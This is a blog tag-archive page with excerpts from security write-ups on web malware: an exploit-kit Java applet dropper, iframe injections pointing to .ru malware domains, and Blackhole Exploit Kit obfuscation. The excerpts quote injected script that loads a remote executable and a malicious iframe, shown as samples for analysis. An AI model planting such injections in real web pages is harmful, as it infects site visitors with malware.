Step 1: How this started While I was investigating the Trojan.JS.Iframe.aeq case (see blogpost < http://www.securelist.com/en/blog?weblogid=9151>) one of the files dropped by the Exploit Kit was an Applet exploiting a vulnerability: <script> document.write(‘<applet archive="dyJhixy.jar" code="QPAfQoaG.ZqnpOsRRk"><param value="http://fast_DELETED_er14.biz/zHvFxj0QRZA/04az-G112lI05m_AF0Y_C5s0Ip-Vk05REX_0AOq_e0skJ/A0tqO-Z0hT_el0iDbi0-4pxr17_11r_09ERI_131_WO0p-MFJ0uk-XF0_IOWI07_Xsj_0ZZ/8j0A/qql0alP/C0o-lKs05qy/H0-nw-Q108K_l70OC-5j150SU_00q-RL0vNSy/0kfAS0X/rmt0N/KOE0/zxE/W0St-ug0vF8-W0xcNf0-FwMd/0KFCi0MC-Ot0z1_kP/0wm470E/y2H0nlwb14-oS8-17jOB0_p2TQ0/eA3-o0NOiJ/0kWpL0LwBo0-sCO_q0El_GQ/roFEKrLR7b.exe?nYiiC38a=8Hx5S" name="kYtNtcpnx"/></applet>‘); </script> Step 2: First analysis So basically I unzipped the .jar and took a look using JD-GUI, a java decompiler. These were […]
Posts Tagged ‘document write’
Category General
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20
Jul
2012
Sucuri – What does an orange roller, a purple beetle, an orange moth, a green pillar, and a green cricket have in common? Not much, but they are all being used as malware domains to distribute .Ru/In.CGI?16 which is affecting thousands of web sites lately.This is what is showing up on the compromised sites: document.write(“<iframe src=”http://orangeroller.ru/in.cgi?16″ name=”Twitter”scrolling=”auto” […]
Category Security
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21
Feb
2012
The Blackhole Exploit kit is still a very popular attack on the web. They are many variants of the threat. Here is a detailed analysis of one Exploit kit page and the obfuscation technique leveraged by the attack. In this example, the exploit is heavily obfuscated. The exploit has been encoded and stored as HTML […]
Category Security
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